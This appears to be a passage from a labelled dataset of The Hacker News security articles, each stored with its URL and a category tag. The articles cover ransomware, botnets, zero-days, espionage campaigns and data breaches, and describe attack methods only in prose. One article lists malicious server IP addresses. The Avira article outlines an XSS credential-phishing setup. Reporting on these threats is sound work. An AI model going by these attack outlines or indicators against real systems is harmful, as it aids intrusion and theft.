A new Ransomware Trojan known as ICEPOL has been one of those widespread malware which has been successfully installed approximately 267,786 times worldwide and 42,400 in the USA alone over a five month period, analyzed by the security firm BitDefender.

The ICEPOL Trojan categorized as Ransomware that locks your PC and demand for a ransom amount to unlock it. The Malware was using a previously known vulnerability in Java software i.e. CVE-2013-0422 to infect the systems.

The malware threatened the user with accusations of illegal piracy or 'porn-related activity' and requires money for exemption from punishment that pretends to be from the 'police'.

""The ICEPOL Trojan extorted victims who downloaded it by sending them a message in any one of 25 languages purporting to be from police accusing them of downloading copyrighted material or illegal porn,"" said Catalin Cosoi, Chief Security Strategist from Bitdefender.

The malware includes one more money making scheme, i.e. Designed to redirect the victims to the website via pay-per-click scam under the traffic exchange mechanism. The police estimated that more than $32,000 was stolen from the U.S. victims over the five-month period.

The Romanian police in cooperation with the Internet security firm Bitdefender found dozens of C&C servers and successfully seized one of the major C&C servers, which was the part of large distribution of ICEPOL Trojans, located in the Romanian capital Bucharest.

""The results of the investigation of ICEPOL Trojan based on cooperation with various law enforcement agencies and third party vendors. Despite the complex investigations, we have so far achieved very good results and we will continue to fight cybercrime"", says the head of the agency against cyber crime, the Romanian National Police.

This is not the first time when a ransomware tricked the victims successfully, also last year cryptolocker of the same category hits millions of computer users. So, users are advised to keep their systems software and anti-virus solutions up-to-date and most importantly patch your Java distribution immediately to Update 51.

Stay Safe! Stay Tuned!

",Malware
Adobe Releases Emergency Patch for Flash Zero-Day Vulnerability,https://thehackernews.com/2015/06/adobe-flash-player.html,"Adobe has rolled out an emergency software patch for its Flash Player to patch a critical zero-day vulnerability that is already exploited by the hackers in the wild.

The company said the flaw could potentially allow hackers to take control of the affected system and that it had evidence of ""limited, targeted attacks"" exploiting the flaw.

Therefore, Adobe is urging users and administrators to update their software immediately.

About the Zero-day Flaw:

The vulnerability, assigned CVE-2015-3113, is a remote code execution bug that enables hackers to take control of an affected computer system.

Cyber crooks are already exploiting this zero-day vulnerability in the wild in an effort to hijack computers, targeting systems running Internet Explorer on Windows 7 and Firefox on Windows XP.

The vulnerability was discovered and reported by FireEye researchers, who first noticed the flaw actively exploiting in a phishing campaign to target companies in the defense, aerospace, high tech, telecommunications, construction and engineering, and transportation.

Affected Products:

The flaw affects all the major operating systems including Windows, Mac and Linux systems.

According to the company, the following software can potentially be impacted by the severe bug:
Adobe Flash Player Extended Support Release version 13.0.0.292 and earlier 13.x versions for Windows and Macintosh
Adobe Flash Player 18.0.0.161 and earlier versions for Windows and Macintosh
Adobe Flash Player 11.2.202.466 and earlier 11.x versions for Linux

The fact that Flash is installed on almost every computer system and in almost all web browsers users are advised to update their software to the patched version of Flash Player as soon as possible.

Chrome users and Windows 8 users running Internet Explorer will receive the updated version of Flash automatically. Users of other browsers can get the patched versions from Adobe's download page.

",Vulnerability
"Virgin Media Data Leak Exposes Details of 900,000 Customers",https://thehackernews.com/2020/03/virgin-media-data-breach.html,"On the same day yesterday, when the US-based telecom giant T-Mobile admitted a data breach, the UK-based telecommunication provider Virgin Media announced that it has also suffered a data leak incident exposing the personal information of roughly 900,000 customers.

What happened?

Unlike the T-Mobile data breach that involved a sophisticated cyber attack, Virgin Media said the incident was neither a cyber attack nor the company's database was hacked.

Rather the personal details of around 900,000 Virgin Media UK-based customers were exposed after one of its marketing databases was left unsecured on the Internet and accessible to anyone without requiring any authentication.

""The precise situation is that information stored on one of our databases has been accessed without permission. The incident did not occur due to a hack, but as a result of the database being incorrectly configured,"" the company said in a note published on its website on Thursday night.

According to the notification, Virgin Media said the exposed database was accidentally left unsecured on the Internet from April 19, 2019—that's almost a year—and was recently accessed by an unauthorized party at least once.

What type of information was accessed?

The exposed database stored the information (listed below) on both customers and potential customers, including ""fixed-line customers representing approximately 15% of that customer base,"" said Virgin Media CEO Lutz Schüler.

customer names,
home addresses,
email addresses,
phone numbers,
technical and product information, which includes any requests people may have made using forms on the company's website, and
dates of birth 'in a very small number of cases.'

""Please note that this is all of the types of information in the database, but not all of this information may have related to every customer,"" Virgin Media said.

The company assured its customers that the misconfigured marketing database did not include affected customers' account passwords or financial information such as credit cards or bank account numbers.

However, Schüler said the company doesn't know ""the extent of the access or if any information was actually used.""

Who Discovered the Data Leak?

The unguarded database was first discovered online by researchers at TurgenSec, who then responsibly reported it to the Virgin Media's security team as per the National Cyber Security Centre (NCSC) cybersecurity guidelines.

Though the Virgin Media has surprisingly not publicly acknowledged TurgenSec's findings, the researchers confirmed The Hacker News that the leaked data includes at least 2,324,498 records concerning 900,000 people.

""We cannot speak for the intentions of their communications team but stating to their customers that there was only a breach of ""limited contact information"" is from our perspective understating the matter potentially to the point of being disingenuous,"" TurgenSec said in a statement.

According to TurgenSec team, the leaked data also includes affected users':

IP addresses,
Requests to block or unblock various pornographic, gore and gambling websites, corresponding to full names and addresses,
IMEI numbers associated with their stolen phones,
Subscriptions to the different aspects of their services, including premium components,
Device type owned by the user,
The ""referrer"" header collected from the browsers, exposing which previous site users had visited before accessing Virgin Media.


What is Virgin Media now doing?

The company said the unauthorized access to the database has been shut down immediately following the discovery and that it launched a full independent forensic investigation to determine the extent of the breach incident.

The company is also contacting affected customers of security failure and has already notified the Information Commissioner's Office.

What affected customers should do now?

Affected customers should be suspicious of phishing emails, which are usually the next step of cybercriminals with such data in hands to trick users into giving away further details like their passwords and banking information.

""We urge people to remain cautious before clicking on an unknown link or giving any details to an unverified or unknown party. Online security advice and help on a range of topics are available on our website,"" Virgin Media said.

Though the compromised data doesn't include any banking or financial data, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements and report any unusual activity to your respective bank.

For more information regarding the security incident, Virgin Media customers can visit the company's website or call their customer service line on 0345 454 1111.
",Data_Breaches
Operation Red October : Cyber Espionage campaign against many Governments,https://thehackernews.com/2013/01/operation-red-october-cyber-espionage.html,"A new sensational discovered has been announced by Kaspersky Lab's Global Research & Analysis Team result of an investigation after several attacks hit computer networks of various international diplomatic service agencies.
A new large scale cyber-espionage operation has been discovered, named Red October, name inspired by famous novel The Hunt For The Red October (ROCRA) and chosen because the investigation started last October.

The campaign hit hundreds of machines belonging to following categories:
Government
Diplomatic / embassies
Research institutions
Trade and commerce
Nuclear / energy research
Oil and gas companies
Aerospace
Military
The attackers have targeted various devices such as enterprise network equipment and mobile devices (Windows Mobile, iPhone, Nokia), hijacking files from removable disk drives, stealing e-mail databases from local Outlook storage or remote POP/IMAP server and siphoning files from local network FTP servers.


According security experts involved in the investigation the cyber-espionage campaign was started since 2007 and is still active, during this long period the attackers obtained a huge quantity of information such as service credentials that hav been reused in later attacks.

The control structure discovered is very complex and extended, more than 60 domain names and several server hosting located in many countries mainly Germany and Russia. A particularity of the C&C architecture is that the network is arranged to hide the mothership-server true proxy functionality of every node in the malicious structure.

Security experts were able to sinkhole six of the 60 domains used during the period 2 Nov 2012 - 10 Jan 2013, registering over 55,000 connections to the sinkhole from 250 different victim's IPs from 39 different countries, with most of IPs being from Switzerland. Kazakhstan and Greece follow next.
Red October Geo-distribution of victims
Which are the vulnerabilities exploited for the attacks?
The security expert discovered that at least three different known vulnerabilities have been exploited
CVE-2009-3129 (MS Excel) [attacks dated 2010 and 21011]
CVE-2010-3333 (MS Word) [attacks conducted in the summer of 2012]
CVE-2012-0158 (MS Word) [attacks conducted in the summer of 2012]
Evidences collected during the investigation let security specialists to believe that attackers have Russian origins, but strangely they appear unrelated to any other cyber attacks detected until now. The exploits appear to have been created by Chinese hackers.

Attack Method
These attacks is structured in two distinct phases according a classic schema of targeted attacks:
Initial infection
Additional modules deployed for intelligence gathering
In the initial phase the malware is delivered via e-mail as attachments (Microsoft Excel, Word and, probably PDF documents), once victims opened the malicious document the embedded malicious code initiated the setup of the main component which in turn handled further communication with the C&C servers, after the malware receives from the C&C server a number of additional spy modules.

The way to infect entire network is very efficient, the hackers used a module to scan target infrastructure searching for vulnerable machines. The attacks against each machine and related services is made exploiting the above vulnerabilities or gaining access to it using credentials collected during other attacks of the same campaign. The exploits appear to have been created by Chinese hackers.

What alarms me is that such campaigns could be going on for years with disastrous consequences ... what to do at this point? How is it possible that an operation so extended escape for so long to world wide security community? Who is behind the attacks? Cyber criminals or state-sponsored hackers?

UPDATE 2013/01/15
Jeffrey Carr, founder and CEO of Taia Global, Inc, posted on his blog

The developers behind ROCRA, who are Russian, are comfortable using Chinese malware and adapting it for their own use according to the Kaspersky report. This fits the RBN profile to a 't'. I ran 13 IPs listed in Kaspersky's report against the RBN list maintained by James McQuade and found matching IP blocks for five of them:

Malicious servers
178.63.208.49 matches to 178.63.
188.40.19.247 matches to 188.40.
78.46.173.15 matches to 78.46.
88.198.30.44 matches to 88.198.
Mini-motherships
91.226.31.40 matches to 91.226.
It has been my belief for many years that the RBN has a working relationship with the Russian government; that it disappeared from view when the FBI sought the assistance of the FSB to shut down their operations in 2007 (as detailed in chapter 8 of my book); and that it has continued operating below the radar all this time. It provides distance and deniability to the FSB for certain offensive cyber operations and, in exchange, the FSB allows the RBN to operate as a criminal enterprise; a portion of which involves selling the data that it steals to whomever is interested.Red October is already the most significant find of the new year. If, in fact, Kaspersky has uncovered an RBN-controlled espionage ring, it's going to be one of the most important discoveries of the decade.

",Malware
Security Flaws in UPnP protocol put 50 million devices at risk,https://thehackernews.com/2013/01/security-flaws-in-upnp-protocol-put-50.html,"A Security Flaw in Universal Plug & Play (UPnP) are exposing more than 50 millions of computers, printers and storage drives to attack by hackers remotely.

Rapid7 said Tuesday in a research paper, that problem lies in routers and other networking equipment that use a commonly employed standard known as Universal Plug and Play or UPnP.

UPnP allows networked devices to discover each other and automatically establish working configurations that enable data sharing, media streaming, media playback control and other services.

In one common scenario a file-sharing application running on a computer can tell a router via UPnP to open a specific port and map it to the computer's local network address in order to open its file-sharing service to Internet users.


Over 80 million unique IPs were identified that responded to UPnP discovery requests from the internet and around 40-50 million network-enabled devices are at risk due to vulnerabilities found in the Universal Plug and Play (UPnP) protocol.

The long list of devices includes products from manufacturers including Belkin, D-Link, Cisco's Linksys division and Netgear.

They found that 20 percent, or 17 million, of those IP addresses corresponded to devices that were exposing the UPnP SOAP (Simple Object Access Protocol) service to the Internet. This service can allow attackers to target systems behind the firewall and exposes sensitive information about them.

Additional vulnerabilities, including ones that can be used in denial of service and remote code execution attacks, also exist in a UPnP library called MiniUPnP.
Rapid7 also release ScanNow UPnP, a free tool that can identify exposed UPnP endpoints in your network and flag which of those may remotely exploitable through recently discovered vulnerabilities.

People who own devices with UPnP enabled may not be aware of it because new routers, printers, media servers, web cameras, storage drives and smart TVs are often shipped with that functionality turned on by default.

",Vulnerability
New Botnet Hunts for Linux — Launching 20 DDoS Attacks/Day at 150Gbps,https://thehackernews.com/2015/09/xor-ddos-attack.html,"A network of compromised Linux servers has grown so powerful that it can blow large websites off the Internet by launching crippling Distributed Denial-of-service (DDoS) attacks of over 150 gigabits per second (Gbps).

The distributed denial-of-service network, dubbed XOR DDoS Botnet, targets over 20 websites per day, according to an advisory published by content delivery firm Akamai Technologies.

Over 90 percent of the XOR DDoS targets are located in Asia, and the most frequent targets are the gaming sector and educational institutions.

XOR creator is supposed to be from China, citing the fact that the IP addresses of all Command and Control (C&C) servers of XOR are located in Asia, where most of the infected Linux machines also reside.

How XOR DDoS Botnet infects Linux System?

Unlike other DDoS botnets, the XOR DDoS botnet infects Linux machines via embedded devices such as network routers and then brute forces a machine's SSH service to gain root access to targeted machines.

Once the attackers have acquired Secure Shell credentials and logged in, they use root privileges to run a simple shell script that secretly downloads and installs the malicious XOR botnet software.

However, there is no such evidence that XOR DDoS infects computers by exploiting flaws in the Linux operating system itself.

A High-Bandwidth DDoS Attack

Akamai's Security Intelligence Response Team (SIRT) has seen DDoS attacks – SYN and DNS floods as the observed attack vectors – with the bandwidth ranging from a few gigabits per second (Gbps) to nearly 179 Gbps.

The upper figure is a massive DDoS attack volume that even most multinational corporate networks can not handle. However, the biggest recorded DDoS attacks have hit 400 Gbps.
""Over the past year, the XOR DDoS botnet has grown and is now capable of being used to launch [massive] DDoS attacks,"" Stuart Scholly, senior vice president of Akamai's Security Business Unit, said in a statement.
Scholly further added that attackers are switching their focus from Windows botnets and building Linux botnets to launch massive DDoS attacks. However in the past, Windows machines were their primary targets for DDoS malware.

How to Detect and Mitigate XOR DDoS Botnet?

Akamai's advisory outlines two different methods for detecting the recent version of the XOR malware.
To Detect XOR DDoS Botnet in your Network, look for the communications between a bot and its C&C server, using the Snort rule given in the advisory.
To Detect XOR DDoS Botnet infection on your Hosts, use the YARA rule also shown in the advisory.
Moreover, Akamai also provides a four-step process for removing the XOR DDoS Trojan from your machine, as given below:
First, identify the malicious files in two directories (/boot and /etc/init.d)
Identify the supporting processes responsible for the persistence of the main process
Kill the malicious processes
Delete the malicious files (in /boot and /etc/init.d)
Additionally, disabling system root login from SSH (Secure Shell), or using a strong password will also defeat this issue.

",Malware
HTTP Status Codes Command This Malware How to Control Hacked Systems,https://thehackernews.com/2020/05/malware-http-codes.html,"A new version of COMpfun remote access trojan (RAT) has been discovered in the wild that uses HTTP status codes to control compromised systems targeted in a recent campaign against diplomatic entities in Europe.

The cyberespionage malware—traced to Turla APT with ""medium-to-low level of confidence"" based on the history of compromised victims—spread via an initial dropper that masks itself as a visa application, the Global Research and Analysis Team at Kaspersky discovered.

The Turla APT, a Russian-based threat group, has a long history of carrying out espionage and watering hole attacks spanning various sectors, including governments, embassies, military, education, research, and pharmaceutical companies.

First documented by G-Data in 2014, COMpfun received a significant upgrade last year (called ""Reductor"") after Kaspersky found that the malware was used to spy on a victim's browser activity by staging man-in-the-middle (MitM) attacks on encrypted web traffic via a tweak in the browser's random numbers generator (PRNG).


In addition to functioning as a fully-featured RAT capable of capturing keystrokes, screenshots, and exfiltrating sensitive data, this new variant of COMpfun monitors for any removable USB devices plugged to the infected systems to spread further and receives commands from an attacker-controlled server in the form of HTTP status codes.

""We observed an interesting C2 communication protocol utilizing rare HTTP/HTTPS status codes (check IETF RFC 7231, 6585, 4918),"" the researchers said. ""Several HTTP status codes (422-429) from the Client Error class let the Trojan know what the operators want to do. After the control server sends the status 'Payment Required' (402), all these previously received commands are executed.""

HTTP status codes are standardized responses issued by a server in response to a client's request made to the server. By issuing remote commands in the form of status codes, the idea is to obfuscate any detection of malicious activity while scanning internet traffic.


""The authors keep the RSA public key and unique HTTP ETag in encrypted configuration data. Created for web content caching reasons, this marker could also be used to filter unwanted requests to the C2, e.g., those that are from network scanners rather than targets.""

""To exfiltrate the target's data to the C2 over HTTP/HTTPS, the malware uses RSA encryption. To hide data locally, the Trojan implements LZNT1 compression and one-byte XOR encryption.""


While the exact modus operandi behind how the malicious visa application is delivered to a target remains unclear, the initial dropper, upon download, runs the next stage of malware, which communicates with the command-and-control (C2) server using an HTTP status-based module.

""The malware operators retained their focus on diplomatic entities, and the choice of a visa-related application — stored on a directory shared within the local network — as the initial infection vector worked in their favor,"" Kaspersky researchers concluded.

""The combination of a tailored approach to their targets and the ability to generate and execute their ideas certainly makes the developers behind COMpfun a strong offensive team.

",Malware
Thousands of Wordpress blogs compromised to perform DDOS attack,https://thehackernews.com/2013/09/thousands-of-wordpress-blogs.html,"There is currently a Mega cyber attack campaign being launched on a large number of WordPress websites across the Internet.

In April, 2012 we reported about a large distributed brute force attack against millions of WordPress sites were occurring, out of that hackers are successful to compromise 90,000 servers to create a large Botnet of Wordpress hosts.

According to the DDOS attack logs report received from a 'The Hacker News' reader 'Steven Veldkamp', victim's website was under under heavy DDOS attack recently, coming from various compromised Wordpress based websites.

Possibly using the brute force attack on WordPress administrative portals with the a world list of the most commonly used username and password combinations, attackers are taking control of many poorly secured WordPress Hosts.
After analyzing the piece of a DDOS attack Log file from timing 23/Sep/2013:13:03:13 +0200 to 23/Sep/2013:13:02:47 +0200, we found that in 26 second attacker was able to perform DDOS attack from 569 unique compromised Wordpress blogs. Hacked websites include blogs of Mercury Science and Policy at MIT, National Endowment for the Arts (arts.gov), The Pennsylvania State University and Stevens Institute of Technology.

So an attacker using a large number of high performance hosting in order to build a much larger botnet of for a DDOS attack. This attack is happening at a global level and WordPress instances across hosting providers are being targeted. Since the attack is highly distributed in nature (most of the IP's used are spoofed), it is very difficult to block all malicious data.

According to the statistics recently published by WP WhiteSecurity, more than 70% of WordPress installations are vulnerable to hackers out of the World's Top 1 Million websites having a Wordpress installed.
From the table above you can determine that at least 30,823 WordPress websites out of 42,106 are vulnerable to exploitable vulnerabilities, which can be detected using free automated vulnerability assessment tools.

Also in August, 2012 Researchers at Arbor Networks have uncovered a botnet called Fort Disco that was used to compromise more than 6000 websites based on popular CMSs such as WordPress, Joomla and Datalife Engine.

If you are running WordPress sites, now would be a good time to ensure that strong passwords are always used and that your username should be changed from ""admin"".

Avoid Obvious Passwords, Scan your computer for viruses, keyloggers, rootkits, and botnet software. Most importantly, Update WordPress and all plugins to the latest versions.

",Vulnerability
"Wormable Gitpaste-12 Botnet Returns to Target Linux Servers, IoT Devices",https://thehackernews.com/2020/12/wormable-gitpaste-12-botnet-returns-to.html,"A new wormable botnet that spreads via GitHub and Pastebin to install cryptocurrency miners and backdoors on target systems has returned with expanded capabilities to compromise web applications, IP cameras, and routers.
Early last month, researchers from Juniper Threat Labs documented a crypto-mining campaign called ""Gitpaste-12,"" which used GitHub to host malicious code containing as many as 12 known attack modules that are executed via commands downloaded from a Pastebin URL.
The attacks occurred during a 12-day period starting from October 15, 2020, before both the Pastebin URL and repository were shut down on October 30, 2020.
Now according to Juniper, the second wave of attacks began on November 10 using payloads from a different GitHub repository, which, among others, contains a Linux crypto-miner (""ls""), a file with a list of passwords for brute-force attempts (""pass""), and a local privilege escalation exploit for x86_64 Linux systems.
The initial infection happens via X10-unix, a binary written in Go programming language, that proceeds to download the next-stage payloads from GitHub.
""The worm conducts a wide-ranging series of attacks targeting web applications, IP cameras, routers and more, comprising at least 31 known vulnerabilities — seven of which were also seen in the previous Gitpaste-12 sample — as well as attempts to compromise open Android Debug Bridge connections and existing malware backdoors,"" Juniper researcher Asher Langton noted in a Monday analysis.
Included in the list of 31 vulnerabilities are remote code flaws in F5 BIG-IP Traffic Management User Interface (CVE-2020-5902), Pi-hole Web (CVE-2020-8816), Tenda AC15 AC1900 (CVE-2020-10987), and vBulletin (CVE-2020-17496), and an SQL injection bug in FUEL CMS (CVE-2020-17463), all of which came to light this year.
It's worth noting that Ttint, a new variant of the Mirai botnet, was observed in October using two Tenda router zero-day vulnerabilities, including CVE-2020-10987, to spread a Remote Access Trojan (RAT) capable of carrying out denial-of-service attacks, execute malicious commands, and implement a reverse shell for remote access.
Aside from installing X10-unix and the Monero crypto mining software on the machine, the malware also opens a backdoor listening on ports 30004 and 30006, uploads the victim's external IP address to a private Pastebin paste, and attempts to connect to Android Debug Bridge connections on port 5555.
On a successful connection, it proceeds to download an Android APK file (""weixin.apk"") that eventually installs an ARM CPU version of X10-unix.
In all, at least 100 distinct hosts have been spotted propagating the infection, per Juniper estimates.
The complete set of malicious binaries and other relevant Indicators of Compromise (IoCs) associated with the campaign can be accessed here.

",Malware
'LeakTheAnalyst' Hacker Who Claimed to Have Hacked FireEye Arrested,https://thehackernews.com/2017/11/fireeye-mandiant-hacker.html,"Remember the hacker who claimed to have breached FireEye late July this year?

That alleged hacker has been arrested and taken into custody Thursday by international law enforcement, FireEye CEO Kevin Mandia informed the media.

Late July, the hacker, whose name has not yet been disclosed, managed to hack the personal online accounts of a Senior Threat Intelligence Analyst at Mandiant—a Virginia-based cybersecurity firm owned by the FireEye—and leaked nearly 32 megabytes of data belonging to Peretz.

At that time, the hacker claimed that he had started #LeakTheAnalyst operation that aimed at doxing the security analysts who hunt hackers. The hacker also claimed to have had complete access to the company's internal networks since 2016.

""Let's trash their reputation in the field,"" the hacker said. ""It was fun to be inside a giant company named ""Mandiant"" we enjoyed watching how they try to protect their clients and how their dumb analysts are trying to reverse engineer malware and stuff.""

""This leak was just a glimpse of how deep we breached into Mandiant, we might publish more critical data in the future.""

Later in August, FireEye announced that it found no evidence the company's corporate network were compromised, saying the attacker merely managed to compromise social media accounts of just one of its employees.

The attacker did so by re-using credentials for the employee's social media and email accounts that were previously exposed in publicly-disclosed third-party data breach.

FireEye CEO announced the hacker's arrest at the company's Q3 Earnings Results Conference Call on Wednesday.

""These attackers rarely, if ever get caught...Over my career, I have found it frustrating how little risk or repercussions exist for the attackers, who hide behind the anonymity of the internet to cause harm to good, well-intentioned people,"" Mandia said.

""Therefore, I am pleased that, in this case, we were able to impose repercussions for the attacker and achieve a small victory for the good guys.""

Mandia also told CRN that FireEye had to spend a ""tremendous"" amount of its time and effort into investigating the hacker's July claims, which costs the company a lot, both in efforts and money.

So far, neither the law enforcement officials nor FireEye have reveal the real name of the hacker and the location from where he was arrested.

",Cyber_Attack
Possible Data Breach at Arts and Crafts Retailer 'Michaels Store',https://thehackernews.com/2014/01/possible-data-breach-at-arts-and-crafts.html,"Western landscapes are facing a hell lot of data breaches started with Target, Neiman Marcus and now country's largest crafts chain 'Michael's Art and Crafts' may be is the latest retailer hit by a security breach.

In a statement, Irving, Texas-based company acknowledged a possible data security breach that may have affected its customers' payment card information at its 1250 stores across the United States and Canada.

They also announced that it is working closely with federal law enforcement and is conducting an investigation with the help of third-party data security experts to establish the facts.
""Michaels said in its statement that it had ""recently learned of possible fraudulent activity on some US payment cards that had been used at Michaels, suggesting that the company may have experienced a data security attack"" company said.

CEO Chuck Rubin said that the company has not confirmed a breach, but wanted to alert customers:
We are concerned there may have been a data security attack on Michaels that may have affected our customers' payment card information and we are taking aggressive action to determine the nature and scope of the issue.

Michaels gave no additional information on the possible breach. At the time of writing, it was not known that how many customers may be involved and the possible breach affected online or in-store shoppers.

Michaels, a 37 year old chain with 1259 stores had revenue more than $4 Billion in 2012, and this is not the first time when the company has faced a data breach. In 2011, about 94,000 payment card numbers were stolen from approx 80 stores.

Michaels is the third major targeted retailer in the past month. In December, the attack on Target affected as many as 110 million customers, including 40 million credit and debit card and Neiman Marcus said a 3 month breach in the summer affected its 1.1 million customers.

The FBI has sent a three-page confidential memo to retailers and warned them to get prepared for more attacks involving ""memory-parsing"" malware that lives on point of sale registers (POS), which includes card-swiping machines and cash registers.

This memory-parsing malware is also referred to as a RAM scraper. The FBI mentions one particular variant of this malware, apparently called Alina, available at $6000 on underground forums.

If Michaels confirms a breach, it would become the latest victim in a string of data attacks rattling merchants across the U.S. Meanwhile, clients have been recommended to check their payment card account statements for unauthorized charges.

",Data_Breaches
Minor flaw allows Hacker to hijack Avira Antivirus customers accounts,https://thehackernews.com/2013/04/minor-flaw-allows-hacker-to-hijack_12.html,"Cross site scripting vulnerabilities are mistakenly considered unimportant, but they could allow attackers to inject client-side script in web pages visited by victims.


A cross-site scripting (xss) vulnerability may be exploited by hackers to bypass access controls going beyond the exceptions.

An Egyptian information security advisor Ebrahim Hegazy (Zigoo) has found an XSS vulnerability in the Avira license daemon. license.avira.com

But instead of exploiting it in a normal way ""alert('MyName')"" stuff and then reporting, He decided to demonstrate it to Avira security team in a different mode with the purposes to show how could an XSS vulnerability allows the hackers to steal user accounts with a clear text data!

To demonstrate this attack he has created 4 files:
avira.html - the fake login page
log.php - the logger which will log the credentials as clear text into txt file
avira.txt - credentials will be found here
done.html - will show a congratulation message to fool the users
In below video is the explanation of the attack methodology:
According to Ebrahim Hegazy, Avira team responded promptly and fixed the flaw in short time. For those who consider XSS vulnerability as low severity vulnerability, now you can change your opinion.

Credits: Ebrahim Hegazy is an information security advisor @Starware Group, acknowledged by Google, Microsoft and Ebay for finding and reporting multiple vulnerabilities in their applications.

",Vulnerability
New banking trojan capable of hijacking the SSL connections !,https://thehackernews.com/2011/03/new-banking-trojan-capable-of-hijacking.html,"Security researchers from Symantec warn of a new banking trojan capable of hijacking the SSL connections between browsers and online banking sites in a way that is hard to spot.
Variants of this malware, which Symantec detects as Trojan.Tatanarg, have been in circulation since last October, but its code is believed to be based on an older threat called W32.Spamuzle.

The trojan has a modular architecture, with separate components handling different tasks, and the functionality of most banking malware.

It can inject rogue HTML code into pages (man-in-the-browser attacks), disrupt antivirus software, uninstall other banking trojans and enable Windows remote access.

It also features a backdoor component through which attackers can issue commands to control the infected computers.

However, the most interesting functionality of this trojan is its ability to function as a proxy between browsers and SSL-secured websites.

This is achived by hijacking the legit SSL connection and establishing a new one on the browser end using a self-signed certificate.

Alerts are blocked and exceptions are added automatically in the browser making the attack almost transparent to users.

The HTTPS prefix is present, as is the padlock indicating a SSL connection. The only way for the user to realize he's not using his bank's certificate would be to manually check the issuer.

Tatanarg is one of several banking trojans that appeared since the crackdown on ZeuS-based cyberfraud operations last year. It seems that unhappy with the heat, criminal gangs have begun developing their own custom malware.

They also try to come up with innovative attack methods. Just last week, Trusteer reported about a trojan dubbed OddJob which forces browsers to keep sessions open after users think they successfuly logged out.

Users are advised to always keep their antivirus programs up to date to ensure they have the latest protection available. Also, if possible, online banking should be performed from a dedicated computer or a live cd.

",Malware
Fortnite APK Download for Android Won't Be Available on Google Play Store,https://thehackernews.com/2018/08/fortnite-android-apk-download.html,"There's both good news and bad news for Fortnite game lovers.

Fortnite, one of the most popular games in the world right now, is coming to Android devices very soon, but players would not be able to download Fortnite APK from the Google Play Store.

Instead, Epic Games software development company has confirmed the Fortnite APK for Android will be available for download exclusively only through its official website, bypassing the Google Play Store.

Why Fortnite for Android Bypassing Google Play Store?

Epic Games CEO Tim Sweeney cites two main reasons for this decision.

First, offering Fortnite APK downloads directly from its official website will allow the company to ""have a direct relationship"" with its consumers.

Second, since Google takes a 30 percent cut of revenue each time a user makes an in-app purchase through its Play Store, the decision will allow the company to save millions. This should not be shocking as Fortnite on iOS made $15 million in just first three weeks.

Moreover, one should not forget, by covering Android, Epic Games is targeting the other 85 percent of the world's smartphone audience with the release of Fortnite for Android.
""When you search for Fortnite on iOS, you'll often get PUBG or Minecraft ads. Whoever bought that ad in front of us is the top result when searching for Fortnite,"" Sweeney said in an interview with GamesBeat.

""It's just a bad experience. Why not just make the game available directly to users, instead of having the store get between us and our customers and inject all kinds of cruft like that? It's a general criticism I have of the smartphone platforms right now.""

Sweeney argues that profit-sharing, such as Microsoft or Nintendo's cut of Fortnite in-game purchases, is OK on gaming consoles ""where there's enormous investment in hardware, often sold below cost, and marketing campaigns in broad partnership with publishers.""

However, Sweeney says that Google's 30% cut is ""disproportionate to the cost of the services these stores perform, such as payment processing, download bandwidth, and customer service.""

Fortnite for Android Downloads Could Put Users Security At Risk

However, it should be noted that offering Fortnite APK from a third-party website is risking Android users in terms of security by escaping the built-in protections provided by the Google Play Store.

Fortnite for Android has not been launched yet, but due to current popularity and craziness across the globe surrounding the video game, we have seen how a large number of Android users are falling for malicious or fake Fortnite APKs distributed by cybercriminals and scammers.

Though Play Store is also not entirely immune to malware, recommending a large number of users to install (via sideloading) a third-party app outside of the official app store would leave an opportunity open for hackers to spread malware.

The move will simply encourage users to manually enable ""Install Apps from Unknown Sources"" option in the settings menu or accept a variety of Android security prompts in order to install Fortnite game directly from the Epic Games website.

So, thousands of people out there searching, ""how to install Fortnite on Android"" or ""how to download Fortnite APK for Android"" on the Internet, could land themselves on unofficial websites, ending up installing malware.

To play Fortnite on Android, players first need to visit the Fortnite.com website to first download the Fortnite Launcher, which will then let them load the Fortnite Battle Royale onto their devices.
""But from a customer perspective, it sucks. Security experts, tech companies, and app developers all agree it's best practice to only download apps from trusted developers, and only from legitimate app stores,"" Selena Larson raised security concerns in a blog post.

""By shirking these practices, Epic Games is normalizing behavior that can lead to kids' phones getting hacked.""

""For instance, hackers could masquerade as legit Fortnite representatives or gamers and trick people into downloading malware. This method of phishing Android users to install bad apps and spyware has been used by state-backed adversaries and average bad actors alike.""
Right now, there is no concrete release date yet for Fortnite for Android, but speculations suggest the world's most famous battle royale game—with more than 125 million players at the current—will be launching as a Samsung Galaxy Note 9 exclusive for 30 days.

Epic Games did not comment on the Fortnite's partnership with Samsung, but said the game is going to work on high-end Android devices—that's 300 million or so out of the 2.5 billion Android devices in the world.

",Malware
RedKit Exploit Kit : New web malware exploitation pack,https://thehackernews.com/2012/05/redkit-exploit-kit-new-web-malware.html,"RedKit Exploit Kit : New web malware exploitation pack

Trustwave researchers have spotted a new exploit kit called ""RedKit Exploit Kit"" that being used in the wild is aiming to enter a market that is practically monopolized by the widely famous BlackHole and Phoenix exploit kits.

In actual, The new kit has no official name, so the researchers dubbed it 'Redkit' due to the red bordering used in the application's panel.

""Logging to the admin panel presents you with options which are typically used by other exploit kits. The panel allows you to check the statistics for incoming traffic, upload a payload executable and even scan this payload with no less than 37 different AV's,"" Trustwave reports.

To deliver the malware, RedKit exploits two popular bugs:
1.) The Adobe Acrobat and Reader LibTIFF vulnerability (CVE-2010-0188).
2.) The Java AtomicReferenceArray vulnerability (CVE-2012-0507), lately used by the criminals behind the massive Flashback infection.

""As each malicious URL gets blocked by most security firms after 24 to 48 hours, the Redkit's author have provide a new API which will produce a fresh URL every hour, so that customer of this exploit kit can now set up an automated process for updating the traffic sources every hour or so to point to the new URL.""

",Malware
Exclusive: SonicWall Hacked Using 0-Day Bugs In Its Own VPN Product,https://thehackernews.com/2021/01/exclusive-sonicwall-hacked-using-0-day.html,"SonicWall, a popular internet security provider of firewall and VPN products, on late Friday disclosed that it fell victim to a coordinated attack on its internal systems.
The San Jose-based company said the attacks leveraged zero-day vulnerabilities in SonicWall secure remote access products such as NetExtender VPN client version 10.x and Secure Mobile Access (SMA) that are used to provide users with remote access to internal resources.
""Recently, SonicWall identified a coordinated attack on its internal systems by highly sophisticated threat actors exploiting probable zero-day vulnerabilities on certain SonicWall secure remote access products,"" the company exclusively told The Hacker News.
The development comes after The Hacker News received reports that SonicWall's internal systems went down earlier this week on Tuesday and that the source code hosted on the company's GitLab repository was accessed by the attackers.
